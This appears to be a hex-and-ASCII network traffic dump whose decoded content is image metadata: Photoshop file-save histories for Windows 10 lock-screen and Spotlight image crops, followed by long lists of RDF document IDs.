69 63 53 70 6f 74 6c 69 67 68 74 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 38 31 34 39 37 38 35 34 5f 31 39 32 30 78 
31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 32 3a 32 30 3a 31 34 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 
61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 
Data Ascii: d&#xA;2017-07-09T12:19:53-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\Crop
s\Office365-GenericSpotlight_shutterstock_381497854_1920x1080.jpg saved&#xA;2017-07-09T12:20:14-07:00&#x9;File 
C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe 

2022-08-11 03:42:55 UTC 3047 IN Data Raw: 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 34 54 31 31 3a 35 38 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 
61 63 65 5c 53 75 72 66 61 63 65 4c 61 70 74 6f 70 5c 43 68 6f 73 65 6e 5c 53 75 72 66 61 63 65 4c 61 70 74 6f 70 5f 47 
65 74 74 79 49 6d 61 67 65 73 2d 35 37 36 33 39 34 34 38 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 34 54 31 32 3a 30 31 3a 34 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 
65 5c 53 75 72 66 61 63 65 50 72 6f 5c 43 68 6f 73 65 6e 5c 53 75 72 66 
Data Ascii: #xA;2017-07-14T11:58:48-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Surface\SurfaceLaptop\Chosen
\SurfaceLaptop_GettyImages-576394483_1920x1080.jpg saved&#xA;2017-07-14T12:01:40-07:00&#x9;File C:\Users\v-liz
agh\MS\Windows10\Surface\SurfacePro\Chosen\Surf

2022-08-11 03:42:55 UTC 3063 IN Data Raw: 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 36 54 
31 35 3a 32 33 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 
78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 3
1 36 54 31 35 3a 33 37 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 
5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 37 5c 52 41 57 53 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 37 5f 
45 6e 63 68 61 6e 74 6d 65 6e 74 4d 74 6e 73 57 41 5f 4f 66 66 73 65 74 
Data Ascii: Landscape.psd saved&#xA;2017-08-16T15:23:52-07:00&#x9;File Lockscreen_1920x1080_Landscape.psd 
opened&#xA;2017-08-16T15:37:25-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock20
17_Batch7\RAWS\Crops\Lock2017-B7_EnchantmentMtnsWA_Offset

2022-08-11 03:42:55 UTC 3115 IN Data Raw: 45 32 42 30 45 45 38 34 31 31 42 36 41 43 31 42 34 33 41 43 39 35 44 33 39 2e 70 73 62 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 33 36 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5
c 4d 6f 74 69 76 61 74 69 6f 6e 61 6c 2d 43 61 6d 70 61 69 67 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 51 75 6f 74 65
44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 30 31 33 31 32 39 5f 31 39 32 30 78 31 3
0 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 34 35 3a 33 35 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
Data Ascii: E2B0EE8411B6AC1B43AC95D39.psb saved&#xA;2017-08-29T15:36:48-07:00&#x9;File C:\Users\v-li
zagh\MS\Windows10\Cortana\Motivational-Campaign\Chosen\Crops\QuoteDayHistory_GettyImages-466013129_1
920x1080.jpg saved&#xA;2017-08-29T15:45:35-07:00&#x9;File C:\Users\

2022-08-11 03:42:55 UTC 3168 IN Data Raw: 30 37 44 32 46 35 37 39 46 43 46 34 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 
2d 31 32 54 32 31 3a 33 31 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 45 6c 53 61 6c 76 61 64 6f 72 5c 43 48 4f 53 
45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4d 65 6c 62 6f 75 72 6e 65 43 75 70 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 
38 32 35 37 34 32 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 
2d 31 32 54 32 31 3a 33 34 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 
Data Ascii: 07D2F579FCF42.psb saved&#xA;2017-10-12T21:31:22-07:00&#x9;File C:\Users\v-lizagh\MS\Wind
ows10\Edge\ElSalvador\CHOSEN\Crops\MIT-MelbourneCup_GettyImages-598257421_1920x1080.jpg saved&#xA;2017-
10-12T21:34:02-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edg
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2022-08-11 03:42:55 UTC 3224 IN Data Raw: 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 35 3a 34 33 3a 33 30 2d 30 38 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 
2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 35 3a 35 32 3a 35 30 2d 30 38 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 7
3 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 
72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 33 30 31 34 31 36 5f 
31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 
Data Ascii: saved&#xA;2017-11-17T15:43:30-08:00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2017-
11-17T15:52:50-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-
Skype_GettyImages-168301416_1920x1080.psd saved&#

2022-08-11 03:42:55 UTC 3303 IN Data Raw: 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 50 61 70 61 72 6f 61 4e 50 4e 65 77 5a 65 6c 
61 6e 64 5f 35 30 30 70 78 2d 36 36 35 35 30 30 34 39 5f 31 39 32 30 78 31 30 38 30 32 42 34 41 37 31 30 39 34 39 37 
44 35 34 37 42 41 31 36 39 41 46 42 37 36 45 32 37 30 39 36 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 31 32 2d 30 34 54 31 33 3a 32 35 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 
61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 45 4e 5c 52 65 70 6c 61 63 65 6d 65 6e 74 73 
5c 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 4c 61 6b 65 54 61 68 6f 
Data Ascii: oRecover\_Lock2017-B9_PaparoaNPNewZeland_500px-66550049_1920x10802B4A7109497D547BA169AFB
76E27096D.psb saved&#xA;2017-12-04T13:25:29-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\BingEdgeGr
owthImages\Lock2017_Batch9\CHOSEN\Replacements\Lock2017-B9_LakeTaho

2022-08-11 03:42:55 UTC 3454 IN Data Raw: 4e 44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 
70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
38 2d 30 31 2d 30 34 54 32 32 3a 30 30 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e 
44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 47 65 74 74 79 49 6d 61 
67 65 73 2d 35 30 31 37 30 37 39 36 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 38 2d 30 31 2d 30 34 54 32 32 3a 30 33 3a 32 32 2d 30 38 3a 
Data Ascii: ND2\_CHOSEN\Crops\WindowsMMX-Rd2_500px-18226573_1920x1080.psd saved&#xA;2018-01-04T22:00
:37-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_Ge
ttyImages-501707966_1920x1080.jpg saved&#xA;2018-01-04T22:03:22-08:

2022-08-11 03:42:55 UTC 3470 IN Data Raw: 65 63 6f 76 65 72 5c 5f 4f 66 66 69 63 65 2d 56 61 6c 65 6e 74 69 6e 65 73 44 61 79 5f 47 65 74 74 79 49 6d 
61 67 65 73 2d 31 31 33 34 35 34 37 38 37 5f 31 39 32 30 78 31 30 38 30 33 36 33 41 33 45 34 32 39 38 36 41 38 31 42 
44 36 39 31 43 44 41 36 43 34 36 30 33 38 43 44 45 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 
2d 30 32 54 31 30 3a 30 31 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 
65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 
31 38 2d 30 32 2d 30 38 54 31 33 3a 34 32 3a 32 33 2d 30 38 3a 30 30 
Data Ascii: ecover\_Office-ValentinesDay_GettyImages-113454787_1920x1080363A3E42986A81BD691CDA6C4603
8CDE.psb saved&#xA;2018-02-02T10:01:49-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__Templates\Loc
kscreen_1920x1080_Landscape.psd saved&#xA;2018-02-08T13:42:23-08:00

2022-08-11 03:42:55 UTC 3498 IN Data Raw: 36 54 30 38 3a 33 38 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 
5c 41 77 61 72 64 53 65 61 73 6f 6e 2d 4d 6f 76 69 65 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 
41 77 61 72 64 73 53 65 61 73 6f 6e 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 34 39 39 30 31 3
8 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 30 
38 3a 34 30 3a 33 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 
Data Ascii: 6T08:38:47-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\AwardSeason-Movies-UK\C
HOSEN\Crops\MIT-AwardsSeason-Movies_GettyImages-644990188_1920x1080.jpg saved&#xA;2018-02-26T08:40:32-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-Inter

2022-08-11 03:42:55 UTC 3514 IN Data Raw: 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 
61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 
35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 37 3a 33 38 3a 31 32 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 
73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 4f 75 74 64 6f 6f 72 41 63 74 69 76 69 74 69 65 
73 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 53 70 72 69 6e 67 4f 75 74 64 6f 6f 72 41 63 74 69 76 69 74 
79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 38 39 30 34 33 38 
Data Ascii: 7\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved&
#xA;2018-03-21T17:38:12-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringOutdoorActivities\_C
HOSEN\Crops\MIT-SpringOutdoorActivity_GettyImages-6890438

2022-08-11 03:42:55 UTC 3550 IN Data Raw: 44 44 42 46 39 31 39 37 36 30 35 34 41 31 46 37 33 43 32 44 30 38 32 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 30 31 45 42 38 46 31 30 35 30 31 33 45 34 34 32 38 36 39 41 36 32 41 35 46 34 33 33 46 35 46 43 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 45 43 39 36 31 41 41 44 37 38 37 31 41 38 44 31 34 35 38 
43 33 31 39 39 42 31 44 33 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 45 46 38 45 41 44 35 44 3
5 33 32 43 43 35 41 31 36 38 36 38 33 31 30 31 46 33 30 45 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
30 31 46 39 41 37 34 46 45 42 37 44 42 32 33 31 36 36 43 46 46 36 45 36 30 31 31 44 35 30 42 34 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 31 44 33 37 42 32 38 45 36 41 
Data Ascii: DDBF91976054A1F73C2D08243</rdf:li> <rdf:li>01EB8F105013E442869A62A5F433F5FC</rdf:li> <rd
f:li>01EC961AAD7871A8D1458C3199B1D3D6</rdf:li> <rdf:li>01EF8EAD5D532CC5A168683101F30E57</rdf:li> <rd
f:li>01F9A74FEB7DB23166CFF6E6011D50B4</rdf:li> <rdf:li>021D37B28E6A

2022-08-11 03:42:55 UTC 3614 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 30 46 34 37 42 35 37 35 30 44 37 38 45 45 39 38 33 41 42 44 41 44 35 43 32 37 
35 37 38 34 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 35 30 36 43 32 32 38 39 35 37 31 37 45 
35 44 37 43 46 35 43 37 34 36 45 30 36 31 38 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 35 46 4
1 35 30 41 30 46 32 45 33 43 36 30 42 46 42 30 33 36 41 44 45 37 31 35 36 34 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 30 46 37 37 30 42 44 32 32 43 43 39 44 39 30 37 45 32 31 44 39 38 35 36 32 41 44 46 43 32 44 39 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 37 38 35 31 33 41 42 41 37 46 43 33 33 42 36 44 45 30 30 31 
36 42 45 38 30 35 42 34 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii:  <rdf:li>0F47B5750D78EE983ABDAD5C27578420</rdf:li> <rdf:li>0F506C22895717E5D7CF5C746E061
879</rdf:li> <rdf:li>0F5FA50A0F2E3C60BFB036ADE7156421</rdf:li> <rdf:li>0F770BD22CC9D907E21D98562ADFC
2D9</rdf:li> <rdf:li>0F78513ABA7FC33B6DE0016BE805B45D</rdf:li> <rdf
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2022-08-11 03:42:55 UTC 3638 IN Data Raw: 36 35 41 44 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 31 45 35 32 35 30 42 31 34 
44 36 37 41 43 36 44 45 33 33 46 43 38 37 32 43 45 31 31 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
31 43 34 41 32 30 31 30 37 38 46 30 32 38 46 34 41 44 30 35 36 44 31 33 37 30 33 39 43 42 44 44 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 35 34 31 31 33 38 35 43 42 37 39 38 35 38 42 44 44 38 46 46 31 45 35 46 43 41 
42 35 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 30 42 35 38 36 37 33 44 38 43 43 46 38 39 
32 30 33 38 33 43 44 34 46 33 39 35 34 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 32 37 44 
35 41 37 39 34 38 35 34 31 37 42 44 38 38 38 35 30 44 42 30 44 41 43 38 
Data Ascii: 65AD785</rdf:li> <rdf:li>1C1E5250B14D67AC6DE33FC872CE11D6</rdf:li> <rdf:li>1C4A201078F02
8F4AD056D137039CBDD</rdf:li> <rdf:li>1C5411385CB79858BDD8FF1E5FCAB5D6</rdf:li> <rdf:li>1C60B58673D8C
CF8920383CD4F395462</rdf:li> <rdf:li>1C627D5A79485417BD88850DB0DAC8

2022-08-11 03:42:55 UTC 3785 IN Data Raw: 37 38 34 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 33 44 44 45 36 39 37 45 38 43 33 
44 41 36 42 41 44 31 31 39 37 45 45 30 32 36 39 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 
34 30 43 33 46 36 38 31 37 41 32 37 44 44 32 42 42 44 32 41 31 38 31 46 30 46 37 32 30 38 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 32 33 34 37 32 38 35 32 31 45 45 38 42 39 45 45 41 31 43 32 45 46 31 41 31 43 41 45 45 30 
46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 35 31 46 31 46 31 31 42 46 43 38 45 44 41 34 36 42 
39 32 42 36 31 44 30 36 44 34 33 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 35 36 39 36 43 44 
32 30 30 37 44 46 45 32 41 34 39 33 33 34 32 42 41 32 43 37 30 46 41 45 
Data Ascii: 7847F</rdf:li> <rdf:li>233DDE697E8C3DA6BAD1197EE0269CD9</rdf:li> <rdf:li>2340C3F6817A27D
D2BBD2A181F0F7208</rdf:li> <rdf:li>234728521EE8B9EEA1C2EF1A1CAEE0FD</rdf:li> <rdf:li>2351F1F11BFC8ED
A46B92B61D06D436F</rdf:li> <rdf:li>235696CD2007DFE2A493342BA2C70FAE

2022-08-11 03:42:55 UTC 3801 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 36 30 43 33 32 46 30 30 41 45 33 36 46 32 45 43 
32 44 33 31 43 38 39 30 30 38 44 37 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 36 37 41 33 31 
38 33 34 45 42 31 43 38 33 30 34 38 42 30 42 45 31 39 43 36 33 30 43 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 32 46 37 38 34 31 44 36 45 33 39 31 43 38 37 45 43 43 39 31 36 44 32 45 45 31 41 41 33 31 45 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 38 35 32 32 35 43 30 42 45 32 36 32 46 42 44 35 44 44 31 30 43 33 
33 41 36 39 33 37 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 38 42 36 44 44 41 34 46 43 31 37 
43 33 46 38 43 36 34 43 41 36 38 33 35 32 32 46 43 36 44 3c 2f 72 64 66 
Data Ascii: </rdf:li> <rdf:li>2F60C32F00AE36F2EC2D31C89008D727</rdf:li> <rdf:li>2F67A31834EB1C83048B
0BE19C630CBA</rdf:li> <rdf:li>2F7841D6E391C87ECC916D2EE1AA31EC</rdf:li> <rdf:li>2F85225C0BE262FBD5DD
10C33A693712</rdf:li> <rdf:li>2F8B6DDA4FC17C3F8C64CA683522FC6D</rdf

2022-08-11 03:42:55 UTC 3869 IN Data Raw: 36 45 37 31 33 45 35 33 44 38 41 31 43 35 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 
43 39 42 41 42 36 41 36 36 41 31 44 38 34 30 35 44 43 33 37 31 43 32 41 45 30 44 36 36 38 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 33 43 43 42 34 31 44 46 30 39 46 43 46 37 31 34 38 30 35 37 43 38 45 37 43 42 36 45 45 33 
38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 44 38 30 36 33 46 39 43 30 31 31 30 44 30 45 31 36 3
1 44 43 45 31 38 32 36 33 36 37 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 45 36 38 36 30 32 34 
32 36 35 33 46 30 34 31 45 31 46 32 46 46 36 42 35 39 41 46 42 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 33 43 45 42 38 35 45 32 39 35 39 33 30 30 35 45 35 37 38 43 42 
Data Ascii: 6E713E53D8A1C5C4</rdf:li> <rdf:li>3CC9BAB6A66A1D8405DC371C2AE0D668</rdf:li> <rdf:li>3CCB
41DF09FCF7148057C8E7CB6EE38D</rdf:li> <rdf:li>3CD8063F9C0110D0E161DCE182636757</rdf:li> <rdf:li>3CE6
860242653F041E1F2FF6B59AFB78</rdf:li> <rdf:li>3CEB85E29593005E578CB

2022-08-11 03:42:55 UTC 3907 IN Data Raw: 33 31 32 45 44 45 43 46 33 45 44 34 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 44 33 
32 33 44 34 39 39 39 45 44 30 46 38 36 31 36 36 35 37 34 37 43 42 35 39 33 36 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 34 32 44 45 34 36 35 38 42 30 41 39 30 45 37 34 33 43 31 32 32 32 39 45 31 36 30 37 33 38 45 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 44 46 31 36 45 37 43 39 46 35 39 46 46 36 38 37 34 33 39 4
3 44 30 36 46 46 36 37 30 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 45 31 30 44 43 31 31 43 41 
30 41 31 36 36 34 37 36 46 43 34 33 30 33 38 32 31 38 42 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
34 32 45 45 46 44 37 46 36 37 30 39 42 33 30 42 35 43 39 45 30 33 33 
Data Ascii: 312EDECF3ED45B</rdf:li> <rdf:li>42D323D4999ED0F861665747CB593600</rdf:li> <rdf:li>42DE46
58B0A90E743C12229E160738ED</rdf:li> <rdf:li>42DF16E7C9F59FF687439CD06FF67052</rdf:li> <rdf:li>42E10D
C11CA0A166476FC43038218B00</rdf:li> <rdf:li>42EEFD7F6709B30B5C9E033

2022-08-11 03:42:55 UTC 3923 IN Data Raw: 42 39 36 41 33 44 32 46 41 32 41 43 42 36 38 44 36 46 36 44 37 44 39 33 45 32 39 32 33 36 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 43 31 30 43 42 32 45 31 35 30 32 42 46 35 31 37 45 32 46 46 38 44 45 35 
43 35 35 31 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 43 38 35 33 36 45 45 42 41 31 42 36 31 4
1 42 37 30 35 33 38 44 39 45 43 37 43 42 34 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 43 41 31 
31 32 39 39 45 32 34 45 30 42 44 46 42 42 41 46 36 41 43 30 46 41 42 34 44 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 34 46 43 43 36 41 31 33 45 42 31 36 43 37 32 38 42 43 32 45 41 44 31 45 38 32 30 36 33 44 36 42 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 44 31 45 42 37 
Data Ascii: B96A3D2FA2ACB68D6F6D7D93E29236</rdf:li> <rdf:li>4FC10CB2E1502BF517E2FF8DE5C55196</rdf:li> 
<rdf:li>4FC8536EEBA1B61AB70538D9EC7CB437</rdf:li> <rdf:li>4FCA11299E24E0BDFBBAF6AC0FAB4DD4</rdf:li> 
<rdf:li>4FCC6A13EB16C728BC2EAD1E82063D6B</rdf:li> <rdf:li>4FD1EB7

2022-08-11 03:42:55 UTC 3927 IN Data Raw: 30 36 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 33 33 34 42 41 42 42 38 41 36 35 39 35 
38 46 46 37 31 31 44 34 44 41 38 33 45 36 38 35 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 33 34 
31 35 43 33 33 37 42 30 33 45 30 34 38 31 31 36 31 41 34 43 35 35 41 37 44 31 33 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 
